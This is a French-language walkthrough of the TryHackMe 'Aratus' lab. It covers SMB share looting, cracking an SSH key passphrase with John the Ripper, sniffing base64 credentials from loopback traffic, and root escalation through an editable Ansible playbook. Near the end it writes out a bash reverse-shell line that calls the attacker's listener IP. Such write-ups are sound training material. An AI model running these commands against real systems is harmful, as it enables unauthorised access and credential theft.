Aratus – Walkthrough Fr | TryHackMe – Write-up

Do you like reading? Do you like to go through tons of text? Aratus has what you need!

Aratus est un CTF medium de TryHackme.  L’énumération en profondeur est nécessaire pour accèder au système. il faut ensuite faire preuve de curiosité pour arriver à rooter la machine. 

Enumération

Commande :

nmap -T5 -p- -sVC 10.10.196.56

 

Il y a pas mal de ports ouverts intéressants, notamment le port FTP (21) et SMB (139,445).

Enumération FTP :

On va commencer par le plus simple à priori, le service ftp. On peut y accèder sans mot de passe avec le compte ftp ou anonymous

Commande :

ftp 10.10.196.56

 

Il n’y a rien d’intéressant sur le serveur FTP…

Enumération SMB.

Il est possible d’énumérer manuellement les ports 139 et 445 avec les outils smbget, smbclient, smbmap mais il est aussi possible de le faire de manière plus automatique avec enum4linux.

Commande :

enum4linux 10.10.196.56

On obtient ainsi facilement des informations concernant les partages présents ainsi que certains noms d’utilisateurs.

Récupération des elements - temporary share

L’accès au partage est ouvert en lecture à tout le monde. Il y a beaucoup de dossiers, sous dossier et fichier à l’intérieur du partage. Il existe plusieurs techniques pour extraire toutes ses données.

Commande :

smbclient « //10.10.196.56/temporary share »

(Ne pas oublier les doubles quotes pour ne pas être bloqué par l’espace entre temporary et share.)

 

En 1ier lieu, on va extraire le fichier message-to-simeon.txt avec la commande : 

mget message-to-simeon.txt

Contenu du message :

Simeon,

Stop messing with your home directory, you are moving files and directories insecurely!

Just make a folder in /opt for your book project…

Also you password is insecure, could you please change it? It is all over the place now!

 – Theodore

Il faut lire entre les lignes et comprendre que l’on va probablement devoir cracker un hash. Avant il va falloir trouver ce qu’il faut cracker dans les différents textes que l’on va récupérer dans la foulée.

Commande pour récupérer les divers éléments : 

smbget -R « smb://10.10.196.56/temporary share/chapter1 »

Il est possible d’utiliser cette commande pour tous les chapitres, c’est simple et rapide.

Il est aussi possible de le faire avec une boucle, comme ceci :

for i in {1..9}; do smbget -R « smb://10.10.196.56/temporary share/chapter$i »; done

Enfin, il est possible de se connecter au partage et de rencontrer ces différentes commandes :

smb: \> prompt

smb: \> recurse

smb: \> mget *

 

Analyse des fichiers récupérer.

Il y en a beaucoup. Le plus simple est d’aller à l’essentielle. On va ouvrir l’arborescence avec sublime Text.

Commande : 

subl .

Dans le paragraph7.1 text2 on trouve une clé ssh.

ssh2john

Il faut la copier dans un fichier texte pour ensuite la cracker avec JohnTheRipper.

Pourquoi ?

Elle est en fait protégée par une passphrase. On peut le voir grâce à cette mention Proc-Type: 4,ENCRYPTED

Commande : 

ssh2john id_rsa > id_rsa.hash

john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt

Connexion ssh - Simeon.

On a la passphrase et la clé privée SSHde Simeon. Il n’y a plus qu’à se connecter en SSH.

Commande :

ssh simeon@10.10.196.56 -i id_rsa

Une fois connecté, linpeas ( qu’il faut uploader sur la machine ) nous indique qu’il est possible d’écouter le trafic.

Ce qui correspond aussi au hint pcap que l’on peut voir sur tryhackme.

Connexion ssh - Simeon.

On va écouter le trafic sur lo. ( Sur eth1, il y a beaucoup trop de trafic généré par notre propre connexion SSH.)

Commande :

tcpdump -i lo

On note qu’il y a une connexion http GET vers /test-auth/index.html. En revanche, on ne voit le contenu de la requête. On va donc à nouveau faire une capture, en l’enregistrement cette fois-ci, au format pcap.

Commande :

tcpdump -i lo -w cap.pcap

Il faut attendre au moins 2 minutes ( pour avoir 1 minute pleine ). Il y a en fait une tâche planifiée qui tourne toute les minutes pour être sûr de capture la trafic qui va bien.

Pas de possibilité d’extraire vers Kali le fichier pcap.

Je n’ai pas réussi à le faire. Du coup il faut l’ouvrir et le fichier n’est pas très lisible. Mais en y regardant de plus près, on voit qu’il y a une connexion et aussi une authentification encodé en base64.

Connexion sur le compte de Théodore

Le mot de passe une fois décodé permet d’accèder au compte de Theodore avec cette commande :

su theodore

Dans le dossier /opt il y a deux dossiers ansible et script.

Contenu du script infra_as_code.sh

 

Escalade de privilège

On ne peut faire qu’une seule chose pour accèder au compte root. Il faut modifier le fichier setup-RedHat.yml. En effet, le script infra_as_code.sh n’est pas modifiable, il n’est pas possible de faire une path injection, on ne peut pas modifier quelque que fichier que ce soit. Uniquement le fichier setup-RedHat.yml.

Pour arriver à savoir pourquoi ce fichier, il faut d’abord faire sudo -l.

Launch the script

Commande :

sudo -u automation /opt/scripts/infra_as_code.sh

Comme le montre la capture suivante, il y a un événement concernant setup-RedHat.yml.

 

Et il est possible de modifier ce fichier .yml. Il y a un « + » à la fin des droits -rw-rw-r–+

Modification du fichier setup-RedHat.yml

Il faut modifier la ligne command de ensure httpd certs… . C’est la dernière partie du fichier yml. Il faut aussi supprimer la ligne when sinon le reverse shell ne sera pas exécuté.

Une fois la modification effectuée, il faut relancer le script

Commande :

sudo -u automation /opt/scripts/infra_as_code.sh

Récupération du reverse shell sur l’écouteur netcat.

 

Il est possible que la commande bash -i >& /dev/tcp/10.11.38.124/1234 0>&1 ne fonctionne pas. Dans ce cas, il est possible d’attribuer un SUID a bash avec cette commande :

#

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest